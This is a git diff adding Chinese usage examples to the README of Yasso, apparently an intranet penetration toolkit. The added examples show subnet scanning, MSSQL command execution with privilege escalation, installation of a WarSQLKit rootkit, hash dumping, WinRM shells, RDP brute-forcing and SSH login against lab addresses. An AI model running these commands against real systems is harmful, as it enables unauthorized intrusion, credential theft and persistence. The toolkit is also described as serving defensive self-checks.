diff --git a/README.md b/README.md index cea7f0f..208b220 100644 --- a/README.md +++ b/README.md @@ -2,8 +2,14 @@ ![go](https://img.shields.io/badge/Go-1.16.4-blue) -## 介绍 😈 +[English Introduce](README_EN.md) + + +## 介绍 😈a Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`的扫描并发,在实现功能的同时追求准确和速度 + +[![asciicast](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL.svg)](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL) + 使用格式为 ``` @@ -14,6 +20,11 @@ Yasso [模块] [参数1] [参数2] [参数...] ## 程序功能模块 👻 +2022年1月7日更新 -H 参数均支持ip.txt的导入,如下 + +![image](https://user-images.githubusercontent.com/74412075/148518267-4f72e048-6aee-4ba6-b67d-a447468f2807.png) + + 目前已有用功能模块 : all模块: 调用全部模块的完全扫描方式,速度更快,能力更强,ants与并发的完美结合 @@ -381,6 +392,45 @@ Flags: ``` ## 使用例子👿 +all 模块的扫描服务调用 +``` +Yasso.exe all -H 192.168.248.1/24 +``` +![image](https://user-images.githubusercontent.com/74412075/148240369-14cc4c77-e4f8-4fd1-8faa-e716852d3ed8.png) + + +mssql 的命令执行提权和WarSQLKit-clr提权Rookit安装卸载执行功能 +``` +Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 +Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2 +Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1 +Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "sp_getSqlHash" +Yasso.exe crack mssql --hostname 192.168.248.128 --user sa --pass "admin@123" --cld "whoami" +Yasso.exe crack mssql --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1 +``` +![image](https://user-images.githubusercontent.com/74412075/148234003-8e2ceb59-95c5-4fc3-ad65-501294ddce6b.png) + +winrm 的命令执行和交互shell +``` +Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator" +``` +![image](https://user-images.githubusercontent.com/74412075/148234337-80fabcef-a333-402d-8e97-e694b89119c0.png) +``` +Yasso.exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator" +``` +![image](https://user-images.githubusercontent.com/74412075/148234486-037aaf56-fe11-40a0-9781-82b537ef9a37.png) + +grdp的强大爆破功能 +``` +Yasso.exe crack grdp --domain "kilon.local" --pd .\pass.txt --ud .\user.txt -H 192.168.248.128/24 --crack +``` +![image](https://user-images.githubusercontent.com/74412075/148234733-fbdc34e7-c73e-49f7-8942-3a1863915213.png) + +ssh的交互式登陆 +``` +Yasso.exe crack ssh --hostname 192.168.248.219 --user root --pass kali +``` +![image](https://user-images.githubusercontent.com/74412075/148235003-a72116d3-df9b-4b4e-9523-21d5f8b30e1b.png) ## 工具优势🤡 @@ -412,4 +462,3 @@ https://github.com/masterzen/winrm https://github.com/tomatome/grdp https://github.com/panjf2000/ants ``` -